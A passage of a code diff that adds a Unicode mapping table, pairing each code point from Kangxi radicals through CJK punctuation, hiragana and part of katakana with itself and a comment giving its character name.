+ ["\u2F51", "\u2F51"], /* KANGXI RADICAL FUR */
+ ["\u2F52", "\u2F52"], /* KANGXI RADICAL CLAN */
+ ["\u2F53", "\u2F53"], /* KANGXI RADICAL STEAM */
+ ["\u2F54", "\u2F54"], /* KANGXI RADICAL WATER */
+ ["\u2F55", "\u2F55"], /* KANGXI RADICAL FIRE */
+ ["\u2F56", "\u2F56"], /* KANGXI RADICAL CLAW */
+ ["\u2F57", "\u2F57"], /* KANGXI RADICAL FATHER */
+ ["\u2F58", "\u2F58"], /* KANGXI RADICAL DOUBLE X */
+ ["\u2F59", "\u2F59"], /* KANGXI RADICAL HALF TREE TRUNK */
+ ["\u2F5A", "\u2F5A"], /* KANGXI RADICAL SLICE */
+ ["\u2F5B", "\u2F5B"], /* KANGXI RADICAL FANG */
+ ["\u2F5C", "\u2F5C"], /* KANGXI RADICAL COW */
+ ["\u2F5D", "\u2F5D"], /* KANGXI RADICAL DOG */
+ ["\u2F5E", "\u2F5E"], /* KANGXI RADICAL PROFOUND */
+ ["\u2F5F", "\u2F5F"], /* KANGXI RADICAL JADE */
+ ["\u2F60", "\u2F60"], /* KANGXI RADICAL MELON */
+ ["\u2F61", "\u2F61"], /* KANGXI RADICAL TILE */
+ ["\u2F62", "\u2F62"], /* KANGXI RADICAL SWEET */
+ ["\u2F63", "\u2F63"], /* KANGXI RADICAL LIFE */
+ ["\u2F64", "\u2F64"], /* KANGXI RADICAL USE */
+ ["\u2F65", "\u2F65"], /* KANGXI RADICAL FIELD */
+ ["\u2F66", "\u2F66"], /* KANGXI RADICAL BOLT OF CLOTH */
+ ["\u2F67", "\u2F67"], /* KANGXI RADICAL SICKNESS */
+ ["\u2F68", "\u2F68"], /* KANGXI RADICAL DOTTED TENT */
+ ["\u2F69", "\u2F69"], /* KANGXI RADICAL WHITE */
+ ["\u2F6A", "\u2F6A"], /* KANGXI RADICAL SKIN */
+ ["\u2F6B", "\u2F6B"], /* KANGXI RADICAL DISH */
+ ["\u2F6C", "\u2F6C"], /* KANGXI RADICAL EYE */
+ ["\u2F6D", "\u2F6D"], /* KANGXI RADICAL SPEAR */
+ ["\u2F6E", "\u2F6E"], /* KANGXI RADICAL ARROW */
+ ["\u2F6F", "\u2F6F"], /* KANGXI RADICAL STONE */
+ ["\u2F70", "\u2F70"], /* KANGXI RADICAL SPIRIT */
+ ["\u2F71", "\u2F71"], /* KANGXI RADICAL TRACK */
+ ["\u2F72", "\u2F72"], /* KANGXI RADICAL GRAIN */
+ ["\u2F73", "\u2F73"], /* KANGXI RADICAL CAVE */
+ ["\u2F74", "\u2F74"], /* KANGXI RADICAL STAND */
+ ["\u2F75", "\u2F75"], /* KANGXI RADICAL BAMBOO */
+ ["\u2F76", "\u2F76"], /* KANGXI RADICAL RICE */
+ ["\u2F77", "\u2F77"], /* KANGXI RADICAL SILK */
+ ["\u2F78", "\u2F78"], /* KANGXI RADICAL JAR */
+ ["\u2F79", "\u2F79"], /* KANGXI RADICAL NET */
+ ["\u2F7A", "\u2F7A"], /* KANGXI RADICAL SHEEP */
+ ["\u2F7B", "\u2F7B"], /* KANGXI RADICAL FEATHER */
+ ["\u2F7C", "\u2F7C"], /* KANGXI RADICAL OLD */
+ ["\u2F7D", "\u2F7D"], /* KANGXI RADICAL AND */
+ ["\u2F7E", "\u2F7E"], /* KANGXI RADICAL PLOW */
+ ["\u2F7F", "\u2F7F"], /* KANGXI RADICAL EAR */
+ ["\u2F80", "\u2F80"], /* KANGXI RADICAL BRUSH */
+ ["\u2F81", "\u2F81"], /* KANGXI RADICAL MEAT */
+ ["\u2F82", "\u2F82"], /* KANGXI RADICAL MINISTER */
+ ["\u2F83", "\u2F83"], /* KANGXI RADICAL SELF */
+ ["\u2F84", "\u2F84"], /* KANGXI RADICAL ARRIVE */
+ ["\u2F85", "\u2F85"], /* KANGXI RADICAL MORTAR */
+ ["\u2F86", "\u2F86"], /* KANGXI RADICAL TONGUE */
+ ["\u2F87", "\u2F87"], /* KANGXI RADICAL OPPOSE */
+ ["\u2F88", "\u2F88"], /* KANGXI RADICAL BOAT */
+ ["\u2F89", "\u2F89"], /* KANGXI RADICAL STOPPING */
+ ["\u2F8A", "\u2F8A"], /* KANGXI RADICAL COLOR */
+ ["\u2F8B", "\u2F8B"], /* KANGXI RADICAL GRASS */
+ ["\u2F8C", "\u2F8C"], /* KANGXI RADICAL TIGER */
+ ["\u2F8D", "\u2F8D"], /* KANGXI RADICAL INSECT */
+ ["\u2F8E", "\u2F8E"], /* KANGXI RADICAL BLOOD */
+ ["\u2F8F", "\u2F8F"], /* KANGXI RADICAL WALK ENCLOSURE */
+ ["\u2F90", "\u2F90"], /* KANGXI RADICAL CLOTHES */
+ ["\u2F91", "\u2F91"], /* KANGXI RADICAL WEST */
+ ["\u2F92", "\u2F92"], /* KANGXI RADICAL SEE */
+ ["\u2F93", "\u2F93"], /* KANGXI RADICAL HORN */
+ ["\u2F94", "\u2F94"], /* KANGXI RADICAL SPEECH */
+ ["\u2F95", "\u2F95"], /* KANGXI RADICAL VALLEY */
+ ["\u2F96", "\u2F96"], /* KANGXI RADICAL BEAN */
+ ["\u2F97", "\u2F97"], /* KANGXI RADICAL PIG */
+ ["\u2F98", "\u2F98"], /* KANGXI RADICAL BADGER */
+ ["\u2F99", "\u2F99"], /* KANGXI RADICAL SHELL */
+ ["\u2F9A", "\u2F9A"], /* KANGXI RADICAL RED */
+ ["\u2F9B", "\u2F9B"], /* KANGXI RADICAL RUN */
+ ["\u2F9C", "\u2F9C"], /* KANGXI RADICAL FOOT */
+ ["\u2F9D", "\u2F9D"], /* KANGXI RADICAL BODY */
+ ["\u2F9E", "\u2F9E"], /* KANGXI RADICAL CART */
+ ["\u2F9F", "\u2F9F"], /* KANGXI RADICAL BITTER */
+ ["\u2FA0", "\u2FA0"], /* KANGXI RADICAL MORNING */
+ ["\u2FA1", "\u2FA1"], /* KANGXI RADICAL WALK */
+ ["\u2FA2", "\u2FA2"], /* KANGXI RADICAL CITY */
+ ["\u2FA3", "\u2FA3"], /* KANGXI RADICAL WINE */
+ ["\u2FA4", "\u2FA4"], /* KANGXI RADICAL DISTINGUISH */
+ ["\u2FA5", "\u2FA5"], /* KANGXI RADICAL VILLAGE */
+ ["\u2FA6", "\u2FA6"], /* KANGXI RADICAL GOLD */
+ ["\u2FA7", "\u2FA7"], /* KANGXI RADICAL LONG */
+ ["\u2FA8", "\u2FA8"], /* KANGXI RADICAL GATE */
+ ["\u2FA9", "\u2FA9"], /* KANGXI RADICAL MOUND */
+ ["\u2FAA", "\u2FAA"], /* KANGXI RADICAL SLAVE */
+ ["\u2FAB", "\u2FAB"], /* KANGXI RADICAL SHORT TAILED BIRD */
+ ["\u2FAC", "\u2FAC"], /* KANGXI RADICAL RAIN */
+ ["\u2FAD", "\u2FAD"], /* KANGXI RADICAL BLUE */
+ ["\u2FAE", "\u2FAE"], /* KANGXI RADICAL WRONG */
+ ["\u2FAF", "\u2FAF"], /* KANGXI RADICAL FACE */
+ ["\u2FB0", "\u2FB0"], /* KANGXI RADICAL LEATHER */
+ ["\u2FB1", "\u2FB1"], /* KANGXI RADICAL TANNED LEATHER */
+ ["\u2FB2", "\u2FB2"], /* KANGXI RADICAL LEEK */
+ ["\u2FB3", "\u2FB3"], /* KANGXI RADICAL SOUND */
+ ["\u2FB4", "\u2FB4"], /* KANGXI RADICAL LEAF */
+ ["\u2FB5", "\u2FB5"], /* KANGXI RADICAL WIND */
+ ["\u2FB6", "\u2FB6"], /* KANGXI RADICAL FLY */
+ ["\u2FB7", "\u2FB7"], /* KANGXI RADICAL EAT */
+ ["\u2FB8", "\u2FB8"], /* KANGXI RADICAL HEAD */
+ ["\u2FB9", "\u2FB9"], /* KANGXI RADICAL FRAGRANT */
+ ["\u2FBA", "\u2FBA"], /* KANGXI RADICAL HORSE */
+ ["\u2FBB", "\u2FBB"], /* KANGXI RADICAL BONE */
+ ["\u2FBC", "\u2FBC"], /* KANGXI RADICAL TALL */
+ ["\u2FBD", "\u2FBD"], /* KANGXI RADICAL HAIR */
+ ["\u2FBE", "\u2FBE"], /* KANGXI RADICAL FIGHT */
+ ["\u2FBF", "\u2FBF"], /* KANGXI RADICAL SACRIFICIAL WINE */
+ ["\u2FC0", "\u2FC0"], /* KANGXI RADICAL CAULDRON */
+ ["\u2FC1", "\u2FC1"], /* KANGXI RADICAL GHOST */
+ ["\u2FC2", "\u2FC2"], /* KANGXI RADICAL FISH */
+ ["\u2FC3", "\u2FC3"], /* KANGXI RADICAL BIRD */
+ ["\u2FC4", "\u2FC4"], /* KANGXI RADICAL SALT */
+ ["\u2FC5", "\u2FC5"], /* KANGXI RADICAL DEER */
+ ["\u2FC6", "\u2FC6"], /* KANGXI RADICAL WHEAT */
+ ["\u2FC7", "\u2FC7"], /* KANGXI RADICAL HEMP */
+ ["\u2FC8", "\u2FC8"], /* KANGXI RADICAL YELLOW */
+ ["\u2FC9", "\u2FC9"], /* KANGXI RADICAL MILLET */
+ ["\u2FCA", "\u2FCA"], /* KANGXI RADICAL BLACK */
+ ["\u2FCB", "\u2FCB"], /* KANGXI RADICAL EMBROIDERY */
+ ["\u2FCC", "\u2FCC"], /* KANGXI RADICAL FROG */
+ ["\u2FCD", "\u2FCD"], /* KANGXI RADICAL TRIPOD */
+ ["\u2FCE", "\u2FCE"], /* KANGXI RADICAL DRUM */
+ ["\u2FCF", "\u2FCF"], /* KANGXI RADICAL RAT */
+ ["\u2FD0", "\u2FD0"], /* KANGXI RADICAL NOSE */
+ ["\u2FD1", "\u2FD1"], /* KANGXI RADICAL EVEN */
+ ["\u2FD2", "\u2FD2"], /* KANGXI RADICAL TOOTH */
+ ["\u2FD3", "\u2FD3"], /* KANGXI RADICAL DRAGON */
+ ["\u2FD4", "\u2FD4"], /* KANGXI RADICAL TURTLE */
+ ["\u2FD5", "\u2FD5"], /* KANGXI RADICAL FLUTE */
+ ["\u2FD6", "\u2FD6"],
+ ["\u2FD7", "\u2FD7"],
+ ["\u2FD8", "\u2FD8"],
+ ["\u2FD9", "\u2FD9"],
+ ["\u2FDA", "\u2FDA"],
+ ["\u2FDB", "\u2FDB"],
+ ["\u2FDC", "\u2FDC"],
+ ["\u2FDD", "\u2FDD"],
+ ["\u2FDE", "\u2FDE"],
+ ["\u2FDF", "\u2FDF"],
+ ["\u2FE0", "\u2FE0"],
+ ["\u2FE1", "\u2FE1"],
+ ["\u2FE2", "\u2FE2"],
+ ["\u2FE3", "\u2FE3"],
+ ["\u2FE4", "\u2FE4"],
+ ["\u2FE5", "\u2FE5"],
+ ["\u2FE6", "\u2FE6"],
+ ["\u2FE7", "\u2FE7"],
+ ["\u2FE8", "\u2FE8"],
+ ["\u2FE9", "\u2FE9"],
+ ["\u2FEA", "\u2FEA"],
+ ["\u2FEB", "\u2FEB"],
+ ["\u2FEC", "\u2FEC"],
+ ["\u2FED", "\u2FED"],
+ ["\u2FEE", "\u2FEE"],
+ ["\u2FEF", "\u2FEF"],
+ ["\u2FF0", "\u2FF0"], /* IDEOGRAPHIC DESCRIPTION CHARACTER LEFT TO RIGHT */
+ ["\u2FF1", "\u2FF1"], /* IDEOGRAPHIC DESCRIPTION CHARACTER ABOVE TO BELOW */
+ ["\u2FF2", "\u2FF2"], /* IDEOGRAPHIC DESCRIPTION CHARACTER LEFT TO MIDDLE AND RIGHT */
+ ["\u2FF3", "\u2FF3"], /* IDEOGRAPHIC DESCRIPTION CHARACTER ABOVE TO MIDDLE AND BELOW */
+ ["\u2FF4", "\u2FF4"], /* IDEOGRAPHIC DESCRIPTION CHARACTER FULL SURROUND */
+ ["\u2FF5", "\u2FF5"], /* IDEOGRAPHIC DESCRIPTION CHARACTER SURROUND FROM ABOVE */
+ ["\u2FF6", "\u2FF6"], /* IDEOGRAPHIC DESCRIPTION CHARACTER SURROUND FROM BELOW */
+ ["\u2FF7", "\u2FF7"], /* IDEOGRAPHIC DESCRIPTION CHARACTER SURROUND FROM LEFT */
+ ["\u2FF8", "\u2FF8"], /* IDEOGRAPHIC DESCRIPTION CHARACTER SURROUND FROM UPPER LEFT */
+ ["\u2FF9", "\u2FF9"], /* IDEOGRAPHIC DESCRIPTION CHARACTER SURROUND FROM UPPER RIGHT */
+ ["\u2FFA", "\u2FFA"], /* IDEOGRAPHIC DESCRIPTION CHARACTER SURROUND FROM LOWER LEFT */
+ ["\u2FFB", "\u2FFB"], /* IDEOGRAPHIC DESCRIPTION CHARACTER OVERLAID */
+ ["\u2FFC", "\u2FFC"],
+ ["\u2FFD", "\u2FFD"],
+ ["\u2FFE", "\u2FFE"],
+ ["\u2FFF", "\u2FFF"],
+ ["\u3000", "\u3000"], /* IDEOGRAPHIC SPACE */
+ ["\u3001", "\u3001"], /* IDEOGRAPHIC COMMA */
+ ["\u3002", "\u3002"], /* IDEOGRAPHIC FULL STOP (IDEOGRAPHIC PERIOD) */
+ ["\u3003", "\u3003"], /* DITTO MARK */
+ ["\u3004", "\u3004"], /* JAPANESE INDUSTRIAL STANDARD SYMBOL */
+ ["\u3005", "\u3005"], /* IDEOGRAPHIC ITERATION MARK */
+ ["\u3006", "\u3006"], /* IDEOGRAPHIC CLOSING MARK */
+ ["\u3007", "\u3007"], /* IDEOGRAPHIC NUMBER ZERO */
+ ["\u3008", "\u3008"], /* LEFT ANGLE BRACKET (OPENING ANGLE BRACKET) */
+ ["\u3009", "\u3009"], /* RIGHT ANGLE BRACKET (CLOSING ANGLE BRACKET) */
+ ["\u300A", "\u300A"], /* LEFT DOUBLE ANGLE BRACKET (OPENING DOUBLE ANGLE BRACKET) */
+ ["\u300B", "\u300B"], /* RIGHT DOUBLE ANGLE BRACKET (CLOSING DOUBLE ANGLE BRACKET) */
+ ["\u300C", "\u300C"], /* LEFT CORNER BRACKET (OPENING CORNER BRACKET) */
+ ["\u300D", "\u300D"], /* RIGHT CORNER BRACKET (CLOSING CORNER BRACKET) */
+ ["\u300E", "\u300E"], /* LEFT WHITE CORNER BRACKET (OPENING WHITE CORNER BRACKET) */
+ ["\u300F", "\u300F"], /* RIGHT WHITE CORNER BRACKET (CLOSING WHITE CORNER BRACKET) */
+ ["\u3010", "\u3010"], /* LEFT BLACK LENTICULAR BRACKET (OPENING BLACK LENTICULAR BRACKET) */
+ ["\u3011", "\u3011"], /* RIGHT BLACK LENTICULAR BRACKET (CLOSING BLACK LENTICULAR BRACKET) */
+ ["\u3012", "\u3012"], /* POSTAL MARK */
+ ["\u3013", "\u3013"], /* GETA MARK */
+ ["\u3014", "\u3014"], /* LEFT TORTOISE SHELL BRACKET (OPENING TORTOISE SHELL BRACKET) */
+ ["\u3015", "\u3015"], /* RIGHT TORTOISE SHELL BRACKET (CLOSING TORTOISE SHELL BRACKET) */
+ ["\u3016", "\u3016"], /* LEFT WHITE LENTICULAR BRACKET (OPENING WHITE LENTICULAR BRACKET) */
+ ["\u3017", "\u3017"], /* RIGHT WHITE LENTICULAR BRACKET (CLOSING WHITE LENTICULAR BRACKET) */
+ ["\u3018", "\u3018"], /* LEFT WHITE TORTOISE SHELL BRACKET (OPENING WHITE TORTOISE SHELL BRACKET) */
+ ["\u3019", "\u3019"], /* RIGHT WHITE TORTOISE SHELL BRACKET (CLOSING WHITE TORTOISE SHELL BRACKET) */
+ ["\u301A", "\u301A"], /* LEFT WHITE SQUARE BRACKET (OPENING WHITE SQUARE BRACKET) */
+ ["\u301B", "\u301B"], /* RIGHT WHITE SQUARE BRACKET (CLOSING WHITE SQUARE BRACKET) */
+ ["\u301C", "\u301C"], /* WAVE DASH */
+ ["\u301D", "\u301D"], /* REVERSED DOUBLE PRIME QUOTATION MARK */
+ ["\u301E", "\u301E"], /* DOUBLE PRIME QUOTATION MARK */
+ ["\u301F", "\u301F"], /* LOW DOUBLE PRIME QUOTATION MARK */
+ ["\u3020", "\u3020"], /* POSTAL MARK FACE */
+ ["\u3021", "\u3021"], /* HANGZHOU NUMERAL ONE */
+ ["\u3022", "\u3022"], /* HANGZHOU NUMERAL TWO */
+ ["\u3023", "\u3023"], /* HANGZHOU NUMERAL THREE */
+ ["\u3024", "\u3024"], /* HANGZHOU NUMERAL FOUR */
+ ["\u3025", "\u3025"], /* HANGZHOU NUMERAL FIVE */
+ ["\u3026", "\u3026"], /* HANGZHOU NUMERAL SIX */
+ ["\u3027", "\u3027"], /* HANGZHOU NUMERAL SEVEN */
+ ["\u3028", "\u3028"], /* HANGZHOU NUMERAL EIGHT */
+ ["\u3029", "\u3029"], /* HANGZHOU NUMERAL NINE */
+ ["\u302A", "\u302A"], /* IDEOGRAPHIC LEVEL TONE MARK */
+ ["\u302B", "\u302B"], /* IDEOGRAPHIC RISING TONE MARK */
+ ["\u302C", "\u302C"], /* IDEOGRAPHIC DEPARTING TONE MARK */
+ ["\u302D", "\u302D"], /* IDEOGRAPHIC ENTERING TONE MARK */
+ ["\u302E", "\u302E"], /* HANGUL SINGLE DOT TONE MARK */
+ ["\u302F", "\u302F"], /* HANGUL DOUBLE DOT TONE MARK */
+ ["\u3030", "\u3030"], /* WAVY DASH */
+ ["\u3031", "\u3031"], /* VERTICAL KANA REPEAT MARK */
+ ["\u3032", "\u3032"], /* VERTICAL KANA REPEAT WITH VOICED SOUND MARK */
+ ["\u3033", "\u3033"], /* VERTICAL KANA REPEAT MARK UPPER HALF */
+ ["\u3034", "\u3034"], /* VERTICAL KANA REPEAT WITH VOICED SOUND MARK UPPER HALF */
+ ["\u3035", "\u3035"], /* VERTICAL KANA REPEAT MARK LOWER HALF */
+ ["\u3036", "\u3036"], /* CIRCLED POSTAL MARK */
+ ["\u3037", "\u3037"], /* IDEOGRAPHIC TELEGRAPH LINE FEED SEPARATOR SYMBOL */
+ ["\u3038", "\u3038"], /* HANGZHOU NUMERAL TEN */
+ ["\u3039", "\u3039"], /* HANGZHOU NUMERAL TWENTY */
+ ["\u303A", "\u303A"], /* HANGZHOU NUMERAL THIRTY */
+ ["\u303B", "\u303B"], /* VERTICAL IDEOGRAPHIC ITERATION MARK */
+ ["\u303C", "\u303C"], /* MASU MARK */
+ ["\u303D", "\u303D"], /* PART ALTERNATION MARK */
+ ["\u303E", "\u303E"], /* IDEOGRAPHIC VARIATION INDICATOR */
+ ["\u303F", "\u303F"], /* IDEOGRAPHIC HALF FILL SPACE */
+ ["\u3040", "\u3040"],
+ ["\u3041", "\u3041"], /* HIRAGANA LETTER SMALL A */
+ ["\u3042", "\u3042"], /* HIRAGANA LETTER A */
+ ["\u3043", "\u3043"], /* HIRAGANA LETTER SMALL I */
+ ["\u3044", "\u3044"], /* HIRAGANA LETTER I */
+ ["\u3045", "\u3045"], /* HIRAGANA LETTER SMALL U */
+ ["\u3046", "\u3046"], /* HIRAGANA LETTER U */
+ ["\u3047", "\u3047"], /* HIRAGANA LETTER SMALL E */
+ ["\u3048", "\u3048"], /* HIRAGANA LETTER E */
+ ["\u3049", "\u3049"], /* HIRAGANA LETTER SMALL O */
+ ["\u304A", "\u304A"], /* HIRAGANA LETTER O */
+ ["\u304B", "\u304B"], /* HIRAGANA LETTER KA */
+ ["\u304C", "\u304C"], /* HIRAGANA LETTER GA */
+ ["\u304D", "\u304D"], /* HIRAGANA LETTER KI */
+ ["\u304E", "\u304E"], /* HIRAGANA LETTER GI */
+ ["\u304F", "\u304F"], /* HIRAGANA LETTER KU */
+ ["\u3050", "\u3050"], /* HIRAGANA LETTER GU */
+ ["\u3051", "\u3051"], /* HIRAGANA LETTER KE */
+ ["\u3052", "\u3052"], /* HIRAGANA LETTER GE */
+ ["\u3053", "\u3053"], /* HIRAGANA LETTER KO */
+ ["\u3054", "\u3054"], /* HIRAGANA LETTER GO */
+ ["\u3055", "\u3055"], /* HIRAGANA LETTER SA */
+ ["\u3056", "\u3056"], /* HIRAGANA LETTER ZA */
+ ["\u3057", "\u3057"], /* HIRAGANA LETTER SI */
+ ["\u3058", "\u3058"], /* HIRAGANA LETTER ZI */
+ ["\u3059", "\u3059"], /* HIRAGANA LETTER SU */
+ ["\u305A", "\u305A"], /* HIRAGANA LETTER ZU */
+ ["\u305B", "\u305B"], /* HIRAGANA LETTER SE */
+ ["\u305C", "\u305C"], /* HIRAGANA LETTER ZE */
+ ["\u305D", "\u305D"], /* HIRAGANA LETTER SO */
+ ["\u305E", "\u305E"], /* HIRAGANA LETTER ZO */
+ ["\u305F", "\u305F"], /* HIRAGANA LETTER TA */
+ ["\u3060", "\u3060"], /* HIRAGANA LETTER DA */
+ ["\u3061", "\u3061"], /* HIRAGANA LETTER TI */
+ ["\u3062", "\u3062"], /* HIRAGANA LETTER DI */
+ ["\u3063", "\u3063"], /* HIRAGANA LETTER SMALL TU */
+ ["\u3064", "\u3064"], /* HIRAGANA LETTER TU */
+ ["\u3065", "\u3065"], /* HIRAGANA LETTER DU */
+ ["\u3066", "\u3066"], /* HIRAGANA LETTER TE */
+ ["\u3067", "\u3067"], /* HIRAGANA LETTER DE */
+ ["\u3068", "\u3068"], /* HIRAGANA LETTER TO */
+ ["\u3069", "\u3069"], /* HIRAGANA LETTER DO */
+ ["\u306A", "\u306A"], /* HIRAGANA LETTER NA */
+ ["\u306B", "\u306B"], /* HIRAGANA LETTER NI */
+ ["\u306C", "\u306C"], /* HIRAGANA LETTER NU */
+ ["\u306D", "\u306D"], /* HIRAGANA LETTER NE */
+ ["\u306E", "\u306E"], /* HIRAGANA LETTER NO */
+ ["\u306F", "\u306F"], /* HIRAGANA LETTER HA */
+ ["\u3070", "\u3070"], /* HIRAGANA LETTER BA */
+ ["\u3071", "\u3071"], /* HIRAGANA LETTER PA */
+ ["\u3072", "\u3072"], /* HIRAGANA LETTER HI */
+ ["\u3073", "\u3073"], /* HIRAGANA LETTER BI */
+ ["\u3074", "\u3074"], /* HIRAGANA LETTER PI */
+ ["\u3075", "\u3075"], /* HIRAGANA LETTER HU */
+ ["\u3076", "\u3076"], /* HIRAGANA LETTER BU */
+ ["\u3077", "\u3077"], /* HIRAGANA LETTER PU */
+ ["\u3078", "\u3078"], /* HIRAGANA LETTER HE */
+ ["\u3079", "\u3079"], /* HIRAGANA LETTER BE */
+ ["\u307A", "\u307A"], /* HIRAGANA LETTER PE */
+ ["\u307B", "\u307B"], /* HIRAGANA LETTER HO */
+ ["\u307C", "\u307C"], /* HIRAGANA LETTER BO */
+ ["\u307D", "\u307D"], /* HIRAGANA LETTER PO */
+ ["\u307E", "\u307E"], /* HIRAGANA LETTER MA */
+ ["\u307F", "\u307F"], /* HIRAGANA LETTER MI */
+ ["\u3080", "\u3080"], /* HIRAGANA LETTER MU */
+ ["\u3081", "\u3081"], /* HIRAGANA LETTER ME */
+ ["\u3082", "\u3082"], /* HIRAGANA LETTER MO */
+ ["\u3083", "\u3083"], /* HIRAGANA LETTER SMALL YA */
+ ["\u3084", "\u3084"], /* HIRAGANA LETTER YA */
+ ["\u3085", "\u3085"], /* HIRAGANA LETTER SMALL YU */
+ ["\u3086", "\u3086"], /* HIRAGANA LETTER YU */
+ ["\u3087", "\u3087"], /* HIRAGANA LETTER SMALL YO */
+ ["\u3088", "\u3088"], /* HIRAGANA LETTER YO */
+ ["\u3089", "\u3089"], /* HIRAGANA LETTER RA */
+ ["\u308A", "\u308A"], /* HIRAGANA LETTER RI */
+ ["\u308B", "\u308B"], /* HIRAGANA LETTER RU */
+ ["\u308C", "\u308C"], /* HIRAGANA LETTER RE */
+ ["\u308D", "\u308D"], /* HIRAGANA LETTER RO */
+ ["\u308E", "\u308E"], /* HIRAGANA LETTER SMALL WA */
+ ["\u308F", "\u308F"], /* HIRAGANA LETTER WA */
+ ["\u3090", "\u3090"], /* HIRAGANA LETTER WI */
+ ["\u3091", "\u3091"], /* HIRAGANA LETTER WE */
+ ["\u3092", "\u3092"], /* HIRAGANA LETTER WO */
+ ["\u3093", "\u3093"], /* HIRAGANA LETTER N */
+ ["\u3094", "\u3094"], /* HIRAGANA LETTER VU */
+ ["\u3095", "\u3095"], /* HIRAGANA LETTER SMALL KA */
+ ["\u3096", "\u3096"], /* HIRAGANA LETTER SMALL KE */
+ ["\u3097", "\u3097"],
+ ["\u3098", "\u3098"],
+ ["\u3099", "\u3099"], /* COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK (NON-SPACING KATAKANA-HIRAGANA VOICED SOUND MARK) */
+ ["\u309A", "\u309A"], /* COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK (NON-SPACING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK) */
+ ["\u309B", "\u309B"], /* KATAKANA-HIRAGANA VOICED SOUND MARK */
+ ["\u309C", "\u309C"], /* KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK */
+ ["\u309D", "\u309D"], /* HIRAGANA ITERATION MARK */
+ ["\u309E", "\u309E"], /* HIRAGANA VOICED ITERATION MARK */
+ ["\u309F", "\u309F"], /* HIRAGANA DIGRAPH YORI */
+ ["\u30A0", "\u30A0"], /* KATAKANA-HIRAGANA DOUBLE HYPHEN */
+ ["\u30A1", "\u30A1"], /* KATAKANA LETTER SMALL A */
+ ["\u30A2", "\u30A2"], /* KATAKANA LETTER A */
+ ["\u30A3", "\u30A3"], /* KATAKANA LETTER SMALL I */
+ ["\u30A4", "\u30A4"], /* KATAKANA LETTER I */
+ ["\u30A5", "\u30A5"], /* KATAKANA LETTER SMALL U */
+ ["\u30A6", "\u30A6"], /* KATAKANA LETTER U */
+ ["\u30A7", "\u30A7"], /* KATAKANA LETTER SMALL E */
+ ["\u30A8", "\u30A8"], /* KATAKANA LETTER E */
+ ["\u30A9", "\u30A9"], /* KATAKANA LETTER SMALL O */
+ ["\u30AA", "\u30AA"], /* KATAKANA LETTER O */
+ ["\u30AB", "\u30AB"], /* KATAKANA LETTER KA */
+ ["\u30AC", "\u30AC"], /* KATAKANA LETTER GA */
+ ["\u30AD", "\u30AD"], /* KATAKANA LETTER KI */
+ ["\u30AE", "\u30AE"], /* KATAKANA LETTER GI */
+ ["\u30AF", "\u30AF"], /* KATAKANA LETTER KU */
+ ["\u30B0", "\u30B0"], /* KATAKANA LETTER GU */
+ ["\u30B1", "\u30B1"], /* KATAKANA LETTER KE */
+ ["\u30B2", "\u30B2"], /* KATAKANA LETTER GE */
+ ["\u30B3", "\u30B3"], /* KATAKANA LETTER KO */
+ ["\u30B4", "\u30B4"], /* KATAKANA LETTER GO */
+ ["\u30B5", "\u30B5"], /* KATAKANA LETTER SA */
+ ["\u30B6", "\u30B6"], /* KATAKANA LETTER ZA */
+ ["\u30B7", "\u30B7"], /* KATAKANA LETTER SI */
+ ["\u30B8", "\u30B8"], /* KATAKANA LETTER ZI */
+ ["\u30B9", "\u30B9"], /* KATAKANA LETTER SU */
+ ["\u30BA", "\u30BA"], /* KATAKANA LETTER ZU */
+ ["\u30BB", "\u30BB"], /* KATAKANA LETTER SE */
+ ["\u30BC", "\u30BC"], /* KATAKANA LETTER ZE */
+ ["\u30BD", "\u30BD"], /* KATAKANA LETTER SO */
+ ["\u30BE", "\u30BE"], /* KATAKANA LETTER ZO */
+ ["\u30BF", "\u30BF"], /* KATAKANA LETTER TA */
+ ["\u30C0", "\u30C0"], /* KATAKANA LETTER DA */
+ ["\u30C1", "\u30C1"], /* KATAKANA LETTER TI */
+ ["\u30C2", "\u30C2"], /* KATAKANA LETTER DI */
+ ["\u30C3", "\u30C3"], /* KATAKANA LETTER SMALL TU */
+ ["\u30C4", "\u30C4"], /* KATAKANA LETTER TU */
+ ["\u30C5", "\u30C5"], /* KATAKANA LETTER DU */
+ ["\u30C6", "\u30C6"], /* KATAKANA LETTER TE */
+ ["\u30C7", "\u30C7"], /* KATAKANA LETTER DE */
+ ["\u30C8", "\u30C8"], /* KATAKANA LETTER TO */
+ ["\u30C9", "\u30C9"], /* KATAKANA LETTER DO */
+ ["\u30CA", "\u30CA"], /* KATAKANA LETTER NA */
+ ["\u30CB", "\u30CB"], /* KATAKANA LETTER NI */
+ ["\u30CC", "\u30CC"], /* KATAKANA LETTER NU */
+ ["\u30CD", "\u30CD"], /* KATAKANA LETTER NE */
+ ["\u30CE", "\u30CE"], /* KATAKANA LETTER NO */
+ ["\u30CF", "\u30CF"], /* KATAKANA LETTER HA */
+ ["\u30D0", "\u30D0"], /* KATAKANA LETTER BA */
+ ["\u30D1", "\u30D1"], /* KATAKANA LETTER PA */
+ ["\u30D2", "\u30D2"], /* KATAKANA LETTER HI */
+ ["\u30D3", "\u30D3"], /* KATAKANA LETTER BI */
+ ["\u30D4", "\u30D4"], /* KATAKANA LETTER PI */
+ ["\u30D5", "\u30D5"], /* KATAKANA LETTER HU */
+ ["\u30D6", "\u30D6"], /* KATAKANA LETTER BU */
+ ["\u30D7", "\u30D7"], /* KATAKANA LETTER PU */
+ ["\u30D8", "\u30D8"], /* KATAKANA LETTER HE */
+ ["\u30D9", "\u30D9"], /* KATAKANA LETTER BE */
+ ["\u30DA", "\u30DA"], /* KATAKANA LETTER PE */
+ ["\u30DB", "\u30DB"], /* KATAKANA LETTER HO */
+ ["\u30DC", "\u30DC"], /* KATAKANA LETTER BO */
+ ["\u30DD", "\u30DD"], /* KATAKANA LETTER PO */
+ ["\u30DE", "\u30DE"], /* KATAKANA LETTER MA */
+ ["\u30DF", "\u30DF"], /* KATAKANA LETTER MI */
+ ["\u30E0", "\u30E0"], /* KATAKANA LETTER MU */
+ ["\u30E1", "\u30E1"], /* KATAKANA LETTER ME */
+ ["\u30E2", "\u30E2"], /* KATAKANA LETTER MO */
+ ["\u30E3", "\u30E3"], /* KATAKANA LETTER SMALL YA */
+ ["\u30E4", "\u30E4"], /* KATAKANA LETTER YA */
+ ["\u30E5", "\u30E5"], /* KATAKANA LETTER SMALL YU */
+ ["\u30E6", "\u30E6"], /* KATAKANA LETTER YU */
